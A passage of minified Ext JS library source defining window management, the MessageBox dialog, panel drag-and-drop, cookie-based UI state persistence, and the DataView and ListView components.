this.win.saveState()\n}});\nExt.WindowGroup = function () {\n    var g = {};\n    var d = [];\n    var e = null;\n    var c = function (j, i) {\n        return(!j._lastAccess || j._lastAccess < i._lastAccess) ? -1 : 1\n    };\n    var h = function () {\n        var l = d, j = l.length;\n        if (j > 0) {\n            l.sort(c);\n            var k = l[0].manager.zseed;\n            for (var m = 0; m < j; m++) {\n                var n = l[m];\n                if (n && !n.hidden) {\n                    n.setZIndex(k + (m * 10))\n                }\n            }\n        }\n        a()\n    };\n    var b = function (i) {\n        if (i != e) {\n            if (e) {\n                e.setActive(false)\n            }\n            e = i;\n            if (i) {\n                i.setActive(true)\n            }\n        }\n    };\n    var a = function () {\n        for (var j = d.length - 1; j >= 0; --j) {\n            if (!d[j].hidden) {\n                b(d[j]);\n                return\n            }\n        }\n        b(null)\n    };\n    return{zseed:9000, register:function (i) {\n        if (i.manager) {\n            i.manager.unregister(i)\n        }\n        i.manager = this;\n        g[i.id] = i;\n        d.push(i);\n        i.on(\"hide\", a)\n    }, unregister:function (i) {\n        delete i.manager;\n        delete g[i.id];\n        i.un(\"hide\", a);\n        d.remove(i)\n    }, get:function (i) {\n        return typeof i == \"object\" ? i : g[i]\n    }, bringToFront:function (i) {\n        i = this.get(i);\n        if (i != e) {\n            i._lastAccess = new Date().getTime();\n            h();\n            return true\n        }\n        return false\n    }, sendToBack:function (i) {\n        i = this.get(i);\n        i._lastAccess = -(new Date().getTime());\n        h();\n        return i\n    }, hideAll:function () {\n        for (var i in g) {\n            if (g[i] && typeof g[i] != \"function\" && g[i].isVisible()) {\n                g[i].hide()\n            }\n        }\n    }, getActive:function () {\n        return e\n    }, getBy:function (l, k) {\n        var m = [];\n        for (var j = d.length - 1; j >= 0; --j) {\n            var n = d[j];\n            if (l.call(k || n, n) !== false) {\n                m.push(n)\n            }\n        }\n        return m\n    }, each:function (j, i) {\n        for (var k in g) {\n            if (g[k] && typeof g[k] != \"function\") {\n                if (j.call(i || g[k], g[k]) === false) {\n                    return\n                }\n            }\n        }\n    }}\n};\nExt.WindowMgr = new Ext.WindowGroup();\nExt.MessageBox = function () {\n    var u, b, q, t, h, l, s, a, n, p, j, g, r, v, o, i = \"\", d = \"\", m = [\"ok\", \"yes\", \"no\", \"cancel\"];\n    var c = function (x) {\n        r[x].blur();\n        if (u.isVisible()) {\n            u.hide();\n            w();\n            Ext.callback(b.fn, b.scope || window, [x, v.dom.value, b], 1)\n        }\n    };\n    var w = function () {\n        if (b && b.cls) {\n            u.el.removeClass(b.cls)\n        }\n        n.reset()\n    };\n    var e = function (z, x, y) {\n        if (b && b.closable !== false) {\n            u.hide();\n            w()\n        }\n        if (y) {\n            y.stopEvent()\n        }\n    };\n    var k = function (x) {\n        var z = 0, y;\n        if (!x) {\n            Ext.each(m, function (A) {\n                r[A].hide()\n            });\n            return z\n        }\n        u.footer.dom.style.display = \"\";\n        Ext.iterate(r, function (A, B) {\n            y = x[A];\n            if (y) {\n                B.show();\n                B.setText(Ext.isString(y) ? y : Ext.MessageBox.buttonText[A]);\n                z += B.getEl().getWidth() + 15\n            } else {\n                B.hide()\n            }\n        });\n        return z\n    };\n    return{getDialog:function (x) {\n        if (!u) {\n            var z = [];\n            r = {};\n            Ext.each(m, function (A) {\n                z.push(r[A] = new Ext.Button({text:this.buttonText[A], handler:c.createCallback(A), hideMode:\"offsets\"}))\n            }, this);\n            u = new Ext.Window({autoCreate:true, title:x, resizable:false, constrain:true, constrainHeader:true, minimizable:false, maximizable:false, stateful:false, modal:true, shim:true, buttonAlign:\"center\", width:400, height:100, minHeight:80, plain:true, footer:true, closable:true, close:function () {\n                if (b && b.buttons && b.buttons.no && !b.buttons.cancel) {\n                    c(\"no\")\n                } else {\n                    c(\"cancel\")\n                }\n            }, fbar:new Ext.Toolbar({items:z, enableOverflow:false})});\n            u.render(document.body);\n            u.getEl().addClass(\"x-window-dlg\");\n            q = u.mask;\n            h = u.body.createChild({html:'<div class=\"ext-mb-icon\"></div><div class=\"ext-mb-content\"><span class=\"ext-mb-text\"></span><br /><div class=\"ext-mb-fix-cursor\"><input type=\"text\" class=\"ext-mb-input\" /><textarea class=\"ext-mb-textarea\"></textarea></div></div>'});\n            j = Ext.get(h.dom.firstChild);\n            var y = h.dom.childNodes[1];\n            l = Ext.get(y.firstChild);\n            s = Ext.get(y.childNodes[2].firstChild);\n            s.enableDisplayMode();\n            s.addKeyListener([10, 13], function () {\n                if (u.isVisible() && b && b.buttons) {\n                    if (b.buttons.ok) {\n                        c(\"ok\")\n                    } else {\n                        if (b.buttons.yes) {\n                            c(\"yes\")\n                        }\n                    }\n                }\n            });\n            a = Ext.get(y.childNodes[2].childNodes[1]);\n            a.enableDisplayMode();\n            n = new Ext.ProgressBar({renderTo:h});\n            h.createChild({cls:\"x-clear\"})\n        }\n        return u\n    }, updateText:function (A) {\n        if (!u.isVisible() && !b.width) {\n            u.setSize(this.maxWidth, 100)\n        }\n        l.update(A ? A + \" \" : \"&#160;\");\n        var y = d != \"\" ? (j.getWidth() + j.getMargins(\"lr\")) : 0, C = l.getWidth() + l.getMargins(\"lr\"), z = u.getFrameWidth(\"lr\"), B = u.body.getFrameWidth(\"lr\"), x;\n        x = Math.max(Math.min(b.width || y + C + z + B, b.maxWidth || this.maxWidth), Math.max(b.minWidth || this.minWidth, o || 0));\n        if (b.prompt === true) {\n            v.setWidth(x - y - z - B)\n        }\n        if (b.progress === true || b.wait === true) {\n            n.setSize(x - y - z - B)\n        }\n        if (Ext.isIE && x == o) {\n            x += 4\n        }\n        l.update(A || \"&#160;\");\n        u.setSize(x, \"auto\").center();\n        return this\n    }, updateProgress:function (y, x, z) {\n        n.updateProgress(y, x);\n        if (z) {\n            this.updateText(z)\n        }\n        return this\n    }, isVisible:function () {\n        return u && u.isVisible()\n    }, hide:function () {\n        var x = u ? u.activeGhost : null;\n        if (this.isVisible() || x) {\n            u.hide();\n            w();\n            if (x) {\n                u.unghost(false, false)\n            }\n        }\n        return this\n    }, show:function (A) {\n        if (this.isVisible()) {\n            this.hide()\n        }\n        b = A;\n        var B = this.getDialog(b.title || \"&#160;\");\n        B.setTitle(b.title || \"&#160;\");\n        var x = (b.closable !== false && b.progress !== true && b.wait !== true);\n        B.tools.close.setDisplayed(x);\n        v = s;\n        b.prompt = b.prompt || (b.multiline ? true : false);\n        if (b.prompt) {\n            if (b.multiline) {\n                s.hide();\n                a.show();\n                a.setHeight(Ext.isNumber(b.multiline) ? b.multiline : this.defaultTextHeight);\n                v = a\n            } else {\n                s.show();\n                a.hide()\n            }\n        } else {\n            s.hide();\n            a.hide()\n        }\n        v.dom.value = b.value || \"\";\n        if (b.prompt) {\n            B.focusEl = v\n        } else {\n            var z = b.buttons;\n            var y = null;\n            if (z && z.ok) {\n                y = r.ok\n            } else {\n                if (z && z.yes) {\n                    y = r.yes\n                }\n            }\n            if (y) {\n                B.focusEl = y\n            }\n        }\n        if (Ext.isDefined(b.iconCls)) {\n            B.setIconClass(b.iconCls)\n        }\n        this.setIcon(Ext.isDefined(b.icon) ? b.icon : i);\n        o = k(b.buttons);\n        n.setVisible(b.progress === true || b.wait === true);\n        this.updateProgress(0, b.progressText);\n        this.updateText(b.msg);\n        if (b.cls) {\n            B.el.addClass(b.cls)\n        }\n        B.proxyDrag = b.proxyDrag === true;\n        B.modal = b.modal !== false;\n        B.mask = b.modal !== false ? q : false;\n        if (!B.isVisible()) {\n            document.body.appendChild(u.el.dom);\n            B.setAnimateTarget(b.animEl);\n            B.on(\"show\", function () {\n                if (x === true) {\n                    B.keyMap.enable()\n                } else {\n                    B.keyMap.disable()\n                }\n            }, this, {single:true});\n            B.show(b.animEl)\n        }\n        if (b.wait === true) {\n            n.wait(b.waitConfig)\n        }\n        return this\n    }, setIcon:function (x) {\n        if (!u) {\n            i = x;\n            return\n        }\n        i = undefined;\n        if (x && x != \"\") {\n            j.removeClass(\"x-hidden\");\n            j.replaceClass(d, x);\n            h.addClass(\"x-dlg-icon\");\n            d = x\n        } else {\n            j.replaceClass(d, \"x-hidden\");\n            h.removeClass(\"x-dlg-icon\");\n            d = \"\"\n        }\n        return this\n    }, progress:function (z, y, x) {\n        this.show({title:z, msg:y, buttons:false, progress:true, closable:false, minWidth:this.minProgressWidth, progressText:x});\n        return this\n    }, wait:function (z, y, x) {\n        this.show({title:y, msg:z, buttons:false, closable:false, wait:true, modal:true, minWidth:this.minProgressWidth, waitConfig:x});\n        return this\n    }, alert:function (A, z, y, x) {\n        this.show({title:A, msg:z, buttons:this.OK, fn:y, scope:x, minWidth:this.minWidth});\n        return this\n    }, confirm:function (A, z, y, x) {\n        this.show({title:A, msg:z, buttons:this.YESNO, fn:y, scope:x, icon:this.QUESTION, minWidth:this.minWidth});\n        return this\n    }, prompt:function (C, B, z, y, x, A) {\n        this.show({title:C, msg:B, buttons:this.OKCANCEL, fn:z, minWidth:this.minPromptWidth, scope:y, prompt:true, multiline:x, value:A});\n        return this\n    }, OK:{ok:true}, CANCEL:{cancel:true}, OKCANCEL:{ok:true, cancel:true}, YESNO:{yes:true, no:true}, YESNOCANCEL:{yes:true, no:true, cancel:true}, INFO:\"ext-mb-info\", WARNING:\"ext-mb-warning\", QUESTION:\"ext-mb-question\", ERROR:\"ext-mb-error\", defaultTextHeight:75, maxWidth:600, minWidth:100, minProgressWidth:250, minPromptWidth:250, buttonText:{ok:\"OK\", cancel:\"Cancel\", yes:\"Yes\", no:\"No\"}}\n}();\nExt.Msg = Ext.MessageBox;\nExt.dd.PanelProxy = Ext.extend(Object, {constructor:function (a, b) {\n    this.panel = a;\n    this.id = this.panel.id + \"-ddproxy\";\n    Ext.apply(this, b)\n}, insertProxy:true, setStatus:Ext.emptyFn, reset:Ext.emptyFn, update:Ext.emptyFn, stop:Ext.emptyFn, sync:Ext.emptyFn, getEl:function () {\n    return this.ghost\n}, getGhost:function () {\n    return this.ghost\n}, getProxy:function () {\n    return this.proxy\n}, hide:function () {\n    if (this.ghost) {\n        if (this.proxy) {\n            this.proxy.remove();\n            delete this.proxy\n        }\n        this.panel.el.dom.style.display = \"\";\n        this.ghost.remove();\n        delete this.ghost\n    }\n}, show:function () {\n    if (!this.ghost) {\n        this.ghost = this.panel.createGhost(this.panel.initialConfig.cls, undefined, Ext.getBody());\n        this.ghost.setXY(this.panel.el.getXY());\n        if (this.insertProxy) {\n            this.proxy = this.panel.el.insertSibling({cls:\"x-panel-dd-spacer\"});\n            this.proxy.setSize(this.panel.getSize())\n        }\n        this.panel.el.dom.style.display = \"none\"\n    }\n}, repair:function (b, c, a) {\n    this.hide();\n    if (typeof c == \"function\") {\n        c.call(a || this)\n    }\n}, moveProxy:function (a, b) {\n    if (this.proxy) {\n        a.insertBefore(this.proxy.dom, b)\n    }\n}});\nExt.Panel.DD = Ext.extend(Ext.dd.DragSource, {constructor:function (b, a) {\n    this.panel = b;\n    this.dragData = {panel:b};\n    this.proxy = new Ext.dd.PanelProxy(b, a);\n    Ext.Panel.DD.superclass.constructor.call(this, b.el, a);\n    var d = b.header, c = b.body;\n    if (d) {\n        this.setHandleElId(d.id);\n        c = b.header\n    }\n    c.setStyle(\"cursor\", \"move\");\n    this.scroll = false\n}, showFrame:Ext.emptyFn, startDrag:Ext.emptyFn, b4StartDrag:function (a, b) {\n    this.proxy.show()\n}, b4MouseDown:function (b) {\n    var a = b.getPageX(), c = b.getPageY();\n    this.autoOffset(a, c)\n}, onInitDrag:function (a, b) {\n    this.onStartDrag(a, b);\n    return true\n}, createFrame:Ext.emptyFn, getDragEl:function (a) {\n    return this.proxy.ghost.dom\n}, endDrag:function (a) {\n    this.proxy.hide();\n    this.panel.saveState()\n}, autoOffset:function (a, b) {\n    a -= this.startPageX;\n    b -= this.startPageY;\n    this.setDelta(a, b)\n}});\nExt.state.Provider = Ext.extend(Ext.util.Observable, {constructor:function () {\n    this.addEvents(\"statechange\");\n    this.state = {};\n    Ext.state.Provider.superclass.constructor.call(this)\n}, get:function (b, a) {\n    return typeof this.state[b] == \"undefined\" ? a : this.state[b]\n}, clear:function (a) {\n    delete this.state[a];\n    this.fireEvent(\"statechange\", this, a, null)\n}, set:function (a, b) {\n    this.state[a] = b;\n    this.fireEvent(\"statechange\", this, a, b)\n}, decodeValue:function (b) {\n    var e = /^(a|n|d|b|s|o|e)\\:(.*)$/, h = e.exec(unescape(b)), d, c, a, g;\n    if (!h || !h[1]) {\n        return\n    }\n    c = h[1];\n    a = h[2];\n    switch (c) {\n        case\"e\":\n            return null;\n        case\"n\":\n            return parseFloat(a);\n        case\"d\":\n            return new Date(Date.parse(a));\n        case\"b\":\n            return(a == \"1\");\n        case\"a\":\n            d = [];\n            if (a != \"\") {\n                Ext.each(a.split(\"^\"), function (i) {\n                    d.push(this.decodeValue(i))\n                }, this)\n            }\n            return d;\n        case\"o\":\n            d = {};\n            if (a != \"\") {\n                Ext.each(a.split(\"^\"), function (i) {\n                    g = i.split(\"=\");\n                    d[g[0]] = this.decodeValue(g[1])\n                }, this)\n            }\n            return d;\n        default:\n            return a\n    }\n}, encodeValue:function (c) {\n    var b, g = \"\", e = 0, a, d;\n    if (c == null) {\n        return\"e:1\"\n    } else {\n        if (typeof c == \"number\") {\n            b = \"n:\" + c\n        } else {\n            if (typeof c == \"boolean\") {\n                b = \"b:\" + (c ? \"1\" : \"0\")\n            } else {\n                if (Ext.isDate(c)) {\n                    b = \"d:\" + c.toGMTString()\n                } else {\n                    if (Ext.isArray(c)) {\n                        for (a = c.length; e < a; e++) {\n                            g += this.encodeValue(c[e]);\n                            if (e != a - 1) {\n                                g += \"^\"\n                            }\n                        }\n                        b = \"a:\" + g\n                    } else {\n                        if (typeof c == \"object\") {\n                            for (d in c) {\n                                if (typeof c[d] != \"function\" && c[d] !== undefined) {\n                                    g += d + \"=\" + this.encodeValue(c[d]) + \"^\"\n                                }\n                            }\n                            b = \"o:\" + g.substring(0, g.length - 1)\n                        } else {\n                            b = \"s:\" + c\n                        }\n                    }\n                }\n            }\n        }\n    }\n    return escape(b)\n}});\nExt.state.Manager = function () {\n    var a = new Ext.state.Provider();\n    return{setProvider:function (b) {\n        a = b\n    }, get:function (c, b) {\n        return a.get(c, b)\n    }, set:function (b, c) {\n        a.set(b, c)\n    }, clear:function (b) {\n        a.clear(b)\n    }, getProvider:function () {\n        return a\n    }}\n}();\nExt.state.CookieProvider = Ext.extend(Ext.state.Provider, {constructor:function (a) {\n    Ext.state.CookieProvider.superclass.constructor.call(this);\n    this.path = \"/\";\n    this.expires = new Date(new Date().getTime() + (1000 * 60 * 60 * 24 * 7));\n    this.domain = null;\n    this.secure = false;\n    Ext.apply(this, a);\n    this.state = this.readCookies()\n}, set:function (a, b) {\n    if (typeof b == \"undefined\" || b === null) {\n        this.clear(a);\n        return\n    }\n    this.setCookie(a, b);\n    Ext.state.CookieProvider.superclass.set.call(this, a, b)\n}, clear:function (a) {\n    this.clearCookie(a);\n    Ext.state.CookieProvider.superclass.clear.call(this, a)\n}, readCookies:function () {\n    var d = {}, h = document.cookie + \";\", b = /\\s?(.*?)=(.*?);/g, g, a, e;\n    while ((g = b.exec(h)) != null) {\n        a = g[1];\n        e = g[2];\n        if (a && a.substring(0, 3) == \"ys-\") {\n            d[a.substr(3)] = this.decodeValue(e)\n        }\n    }\n    return d\n}, setCookie:function (a, b) {\n    document.cookie = \"ys-\" + a + \"=\" + this.encodeValue(b) + ((this.expires == null) ? \"\" : (\"; expires=\" + this.expires.toGMTString())) + ((this.path == null) ? \"\" : (\"; path=\" + this.path)) + ((this.domain == null) ? \"\" : (\"; domain=\" + this.domain)) + ((this.secure == true) ? \"; secure\" : \"\")\n}, clearCookie:function (a) {\n    document.cookie = \"ys-\" + a + \"=null; expires=Thu, 01-Jan-70 00:00:01 GMT\" + ((this.path == null) ? \"\" : (\"; path=\" + this.path)) + ((this.domain == null) ? \"\" : (\"; domain=\" + this.domain)) + ((this.secure == true) ? \"; secure\" : \"\")\n}});\nExt.DataView = Ext.extend(Ext.BoxComponent, {selectedClass:\"x-view-selected\", emptyText:\"\", deferEmptyText:true, trackOver:false, blockRefresh:false, last:false, initComponent:function () {\n    Ext.DataView.superclass.initComponent.call(this);\n    if (Ext.isString(this.tpl) || Ext.isArray(this.tpl)) {\n        this.tpl = new Ext.XTemplate(this.tpl)\n    }\n    this.addEvents(\"beforeclick\", \"click\", \"mouseenter\", \"mouseleave\", \"containerclick\", \"dblclick\", \"contextmenu\", \"containercontextmenu\", \"selectionchange\", \"beforeselect\");\n    this.store = Ext.StoreMgr.lookup(this.store);\n    this.all = new Ext.CompositeElementLite();\n    this.selected = new Ext.CompositeElementLite()\n}, afterRender:function () {\n    Ext.DataView.superclass.afterRender.call(this);\n    this.mon(this.getTemplateTarget(), {click:this.onClick, dblclick:this.onDblClick, contextmenu:this.onContextMenu, scope:this});\n    if (this.overClass || this.trackOver) {\n        this.mon(this.getTemplateTarget(), {mouseover:this.onMouseOver, mouseout:this.onMouseOut, scope:this})\n    }\n    if (this.store) {\n        this.bindStore(this.store, true)\n    }\n}, refresh:function () {\n    this.clearSelections(false, true);\n    var b = this.getTemplateTarget(), a = this.store.getRange();\n    b.update(\"\");\n    if (a.length < 1) {\n        if (!this.deferEmptyText || this.hasSkippedEmptyText) {\n            b.update(this.emptyText)\n        }\n        this.all.clear()\n    } else {\n        this.tpl.overwrite(b, this.collectData(a, 0));\n        this.all.fill(Ext.query(this.itemSelector, b.dom));\n        this.updateIndexes(0)\n    }\n    this.hasSkippedEmptyText = true\n}, getTemplateTarget:function () {\n    return this.el\n}, prepareData:function (a) {\n    return a\n}, collectData:function (b, e) {\n    var d = [], c = 0, a = b.length;\n    for (; c < a; c++) {\n        d[d.length] = this.prepareData(b[c].data, e + c, b[c])\n    }\n    return d\n}, bufferRender:function (a, b) {\n    var c = document.createElement(\"div\");\n    this.tpl.overwrite(c, this.collectData(a, b));\n    return Ext.query(this.itemSelector, c)\n}, onUpdate:function (g, a) {\n    var b = this.store.indexOf(a);\n    if (b > -1) {\n        var e = this.isSelected(b), c = this.all.elements[b], d = this.bufferRender([a], b)[0];\n        this.all.replaceElement(b, d, true);\n        if (e) {\n            this.selected.replaceElement(c, d);\n            this.all.item(b).addClass(this.selectedClass)\n        }\n        this.updateIndexes(b, b)\n    }\n}, onAdd:function (g, d, e) {\n    if (this.all.getCount() === 0) {\n        this.refresh();\n        return\n    }\n    var c = this.bufferRender(d, e), h, b = this.all.elements;\n    if (e < this.all.getCount()) {\n        h = this.all.item(e).insertSibling(c, \"before\", true);\n        b.splice.apply(b, [e, 0].concat(c))\n    } else {\n        h = this.all.last().insertSibling(c, \"after\", true);\n        b.push.apply(b, c)\n    }\n    this.updateIndexes(e)\n}, onRemove:function (c, a, b) {\n    this.deselect(b);\n    this.all.removeElement(b, true);\n    this.updateIndexes(b);\n    if (this.store.getCount() === 0) {\n        this.refresh()\n    }\n}, refreshNode:function (a) {\n    this.onUpdate(this.store, this.store.getAt(a))\n}, updateIndexes:function (d, c) {\n    var b = this.all.elements;\n    d = d || 0;\n    c = c || ((c === 0) ? 0 : (b.length - 1));\n    for (var a = d; a <= c; a++) {\n        b[a].viewIndex = a\n    }\n}, getStore:function () {\n    return this.store\n}, bindStore:function (a, b) {\n    if (!b && this.store) {\n        if (a !== this.store && this.store.autoDestroy) {\n            this.store.destroy()\n        } else {\n            this.store.un(\"beforeload\", this.onBeforeLoad, this);\n            this.store.un(\"datachanged\", this.onDataChanged, this);\n            this.store.un(\"add\", this.onAdd, this);\n            this.store.un(\"remove\", this.onRemove, this);\n            this.store.un(\"update\", this.onUpdate, this);\n            this.store.un(\"clear\", this.refresh, this)\n        }\n        if (!a) {\n            this.store = null\n        }\n    }\n    if (a) {\n        a = Ext.StoreMgr.lookup(a);\n        a.on({scope:this, beforeload:this.onBeforeLoad, datachanged:this.onDataChanged, add:this.onAdd, remove:this.onRemove, update:this.onUpdate, clear:this.refresh})\n    }\n    this.store = a;\n    if (a) {\n        this.refresh()\n    }\n}, onDataChanged:function () {\n    if (this.blockRefresh !== true) {\n        this.refresh.apply(this, arguments)\n    }\n}, findItemFromChild:function (a) {\n    return Ext.fly(a).findParent(this.itemSelector, this.getTemplateTarget())\n}, onClick:function (c) {\n    var b = c.getTarget(this.itemSelector, this.getTemplateTarget()), a;\n    if (b) {\n        a = this.indexOf(b);\n        if (this.onItemClick(b, a, c) !== false) {\n            this.fireEvent(\"click\", this, a, b, c)\n        }\n    } else {\n        if (this.fireEvent(\"containerclick\", this, c) !== false) {\n            this.onContainerClick(c)\n        }\n    }\n}, onContainerClick:function (a) {\n    this.clearSelections()\n}, onContextMenu:function (b) {\n    var a = b.getTarget(this.itemSelector, this.getTemplateTarget());\n    if (a) {\n        this.fireEvent(\"contextmenu\", this, this.indexOf(a), a, b)\n    } else {\n        this.fireEvent(\"containercontextmenu\", this, b)\n    }\n}, onDblClick:function (b) {\n    var a = b.getTarget(this.itemSelector, this.getTemplateTarget());\n    if (a) {\n        this.fireEvent(\"dblclick\", this, this.indexOf(a), a, b)\n    }\n}, onMouseOver:function (b) {\n    var a = b.getTarget(this.itemSelector, this.getTemplateTarget());\n    if (a && a !== this.lastItem) {\n        this.lastItem = a;\n        Ext.fly(a).addClass(this.overClass);\n        this.fireEvent(\"mouseenter\", this, this.indexOf(a), a, b)\n    }\n}, onMouseOut:function (a) {\n    if (this.lastItem) {\n        if (!a.within(this.lastItem, true, true)) {\n            Ext.fly(this.lastItem).removeClass(this.overClass);\n            this.fireEvent(\"mouseleave\", this, this.indexOf(this.lastItem), this.lastItem, a);\n            delete this.lastItem\n        }\n    }\n}, onItemClick:function (b, a, c) {\n    if (this.fireEvent(\"beforeclick\", this, a, b, c) === false) {\n        return false\n    }\n    if (this.multiSelect) {\n        this.doMultiSelection(b, a, c);\n        c.preventDefault()\n    } else {\n        if (this.singleSelect) {\n            this.doSingleSelection(b, a, c);\n            c.preventDefault()\n        }\n    }\n    return true\n}, doSingleSelection:function (b, a, c) {\n    if (c.ctrlKey && this.isSelected(a)) {\n        this.deselect(a)\n    } else {\n        this.select(a, false)\n    }\n}, doMultiSelection:function (c, a, d) {\n    if (d.shiftKey && this.last !== false) {\n        var b = this.last;\n        this.selectRange(b, a, d.ctrlKey);\n        this.last = b\n    } else {\n        if ((d.ctrlKey || this.simpleSelect) && this.isSelected(a)) {\n            this.deselect(a)\n        } else {\n            this.select(a, d.ctrlKey || d.shiftKey || this.simpleSelect)\n        }\n    }\n}, getSelectionCount:function () {\n    return this.selected.getCount()\n}, getSelectedNodes:function () {\n    return this.selected.elements\n}, getSelectedIndexes:function () {\n    var b = [], d = this.selected.elements, c = 0, a = d.length;\n    for (; c < a; c++) {\n        b.push(d[c].viewIndex)\n    }\n    return b\n}, getSelectedRecords:function () {\n    return this.getRecords(this.selected.elements)\n}, getRecords:function (c) {\n    var b = [], d = 0, a = c.length;\n    for (; d < a; d++) {\n        b[b.length] = this.store.getAt(c[d].viewIndex)\n    }\n    return b\n}, getRecord:function (a) {\n    return this.store.getAt(a.viewIndex)\n}, clearSelections:function (a, b) {\n    if ((this.multiSelect || this.singleSelect) && this.selected.getCount() > 0) {\n        if (!b) {\n            this.selected.removeClass(this.selectedClass)\n        }\n        this.selected.clear();\n        this.last = false;\n        if (!a) {\n            this.fireEvent(\"selectionchange\", this, this.selected.elements)\n        }\n    }\n}, isSelected:function (a) {\n    return this.selected.contains(this.getNode(a))\n}, deselect:function (a) {\n    if (this.isSelected(a)) {\n        a = this.getNode(a);\n        this.selected.removeElement(a);\n        if (this.last == a.viewIndex) {\n            this.last = false\n        }\n        Ext.fly(a).removeClass(this.selectedClass);\n        this.fireEvent(\"selectionchange\", this, this.selected.elements)\n    }\n}, select:function (d, g, b) {\n    if (Ext.isArray(d)) {\n        if (!g) {\n            this.clearSelections(true)\n        }\n        for (var c = 0, a = d.length; c < a; c++) {\n            this.select(d[c], true, true)\n        }\n        if (!b) {\n            this.fireEvent(\"selectionchange\", this, this.selected.elements)\n        }\n    } else {\n        var e = this.getNode(d);\n        if (!g) {\n            this.clearSelections(true)\n        }\n        if (e && !this.isSelected(e)) {\n            if (this.fireEvent(\"beforeselect\", this, e, this.selected.elements) !== false) {\n                Ext.fly(e).addClass(this.selectedClass);\n                this.selected.add(e);\n                this.last = e.viewIndex;\n                if (!b) {\n                    this.fireEvent(\"selectionchange\", this, this.selected.elements)\n                }\n            }\n        }\n    }\n}, selectRange:function (c, a, b) {\n    if (!b) {\n        this.clearSelections(true)\n    }\n    this.select(this.getNodes(c, a), true)\n}, getNode:function (b) {\n    if (Ext.isString(b)) {\n        return document.getElementById(b)\n    } else {\n        if (Ext.isNumber(b)) {\n            return this.all.elements[b]\n        } else {\n            if (b instanceof Ext.data.Record) {\n                var a = this.store.indexOf(b);\n                return this.all.elements[a]\n            }\n        }\n    }\n    return b\n}, getNodes:function (e, a) {\n    var d = this.all.elements, b = [], c;\n    e = e || 0;\n    a = !Ext.isDefined(a) ? Math.max(d.length - 1, 0) : a;\n    if (e <= a) {\n        for (c = e; c <= a && d[c]; c++) {\n            b.push(d[c])\n        }\n    } else {\n        for (c = e; c >= a && d[c]; c--) {\n            b.push(d[c])\n        }\n    }\n    return b\n}, indexOf:function (a) {\n    a = this.getNode(a);\n    if (Ext.isNumber(a.viewIndex)) {\n        return a.viewIndex\n    }\n    return this.all.indexOf(a)\n}, onBeforeLoad:function () {\n    if (this.loadingText) {\n        this.clearSelections(false, true);\n        this.getTemplateTarget().update('<div class=\"loading-indicator\">' + this.loadingText + \"</div>\");\n        this.all.clear()\n    }\n}, onDestroy:function () {\n    this.all.clear();\n    this.selected.clear();\n    Ext.DataView.superclass.onDestroy.call(this);\n    this.bindStore(null)\n}});\nExt.DataView.prototype.setStore = Ext.DataView.prototype.bindStore;\nExt.reg(\"dataview\", Ext.DataView);\nExt.list.ListView = Ext.extend(Ext.DataView, {itemSelector:\"dl\", selectedClass:\"x-list-selected\", overClass:\"x-list-over\", scrollOffset:undefined, columnResize:true, columnSort:true, maxColumnWidth:Ext.isIE ? 99 : 100, initComponent:function () {\n    if (this.columnResize) {\n        this.colResizer = new Ext.list.ColumnResizer(this.colResizer);\n        this.colResizer.init(this)\n    }\n    if (this.columnSort) {\n        this.colSorter = new Ext.list.Sorter(this.columnSort);\n        this.colSorter.init(this)\n    }\n    if (!this.internalTpl) {\n        this.internalTpl = new Ext.XTemplate('<div class=\"x-list-header\"><div class=\"x-list-header-inner\">', '<tpl for=\"columns\">', '<div style=\"width:{[values.width*100]}%;text-align:{align};\"><em unselectable=\"on\" id=\"', this.id, '-xlhd-{#}\">', \"{header}\", \"</em></div>\", \"</tpl>\", '<div class=\"x-clear\"></div>', \"</div></div>\", '<div class=\"x-list-body\"><div class=\"x-list-body-inner\">', \"</div></div>\")\n    }\n    if (!this.tpl) {\n        this.tpl = new Ext.XTemplate('<tpl for=\"rows\">', \"<dl>\", '<tpl for=\"parent.columns\">', '<dt style=\"width:{[values.width*100]}%;text-align:{align};\">', '<em unselectable=\"on\"<tpl if=\"cls\"> class=\"{cls}</tpl>\">', \"{[values.tpl.apply(parent)]}\", \"</em></dt>\", \"</tpl>\", '<div class=\"x-clear\"></div>', \"</dl>\", \"</tpl>\")\n    }\n    var l = this.columns, h = 0, k = 0, m = l.length, b = [];\n    for (var g = 0; g < m; g++) {\n        var n = l[g];\n        if (!n.isColumn) {\n            n.xtype = n.xtype ? (/^lv/.test(n.xtype) ? n.xtype : \"lv\" + n.xtype) : \"lvcolumn\";\n            n = Ext.create(n)\n        }\n        if (n.width) {\n            h += n.width * 100;\n            if (h > this.maxColumnWidth) {\n                n.width -= (h - this.maxColumnWidth) / 100\n            }\n            k++\n        }\n        b.push(n)\n    }\n    l = this.columns = b;\n    if (k < m) {\n        var d = m - k;\n        if (h < this.maxColumnWidth) {\n            var a = ((this.maxColumnWidth - h) / d) / 100;\n            for (var e = 0; e < m; e++) {\n                var n = l[e];\n                if (!n.width) {\n                    n.width = a\n                }\n            }\n        }\n    }\n    Ext.list.ListView.superclass.initComponent.call(this)\n}, onRender:function () {\n    this.autoEl = {cls:\"x-list-wrap\"};\n    Ext.list.ListView.superclass.onRender.apply(this, arguments);\n    this.internalTpl.overwrite(this.el, {columns:this.columns});\n    this.innerBody = Ext.get(this.el.dom.childNodes[1].firstChild);\n    this.innerHd = Ext.get(this.el.dom.firstChild.firstChild);\n    if (this.hideHeaders) {\n        this.el.dom.firstChild.style.display = \"none\"\n    }\n}, getTemplateTarget:function () {\n    return this.innerBody\n}, collectData:function () {\n    var a = Ext.list.ListView.superclass.collectData.apply(this, arguments);\n    return{columns:this.columns, rows:a}\n}, verifyInternalSize:function () {\n    if (this.lastSize) {\n        this.onResize(this.lastSize.width, this.lastSize.height)\n    }\n}, onResize:function (c, e) {\n    var b = this.innerBody.dom, g = this.innerHd.dom, d = c - Ext.num(this.scrollOffset, Ext.getScrollBarWidth()) + \"px\", a;\n    if (!b) {\n        return\n    }\n    a = b.parentNode;\n    if (Ext.isNumber(c)) {\n        if (this.reserveScrollOffset || ((a.offsetWidth - a.clientWidth) > 10)) {\n            b.style.width = d;\n            g.style.width = d\n        } else {\n            b.style.width = c + \"px\";\n            g.style.width = c + \"px\";\n            setTimeout(function () {\n                if ((a.offsetWidth - a.clientWidth) > 10) {\n                    b.style.width = d;\n                    g.style.width = d\n                }\n            }, 10)\n        }\n    }\n    if (Ext.isNumber(e)) {\n        a.style.height = Math.max(0, e - g.parentNode.offsetHeight) + \"px\"\n    }\n}, updateIndexes:function () {\n    Ext.list.ListView.superclass.updateIndexes.apply(this, arguments);\n    this.verifyInternalSize()\n}, findHeaderIndex:function (g) {\n    g = g.dom || g;\n    var a = g.parentNode, d = 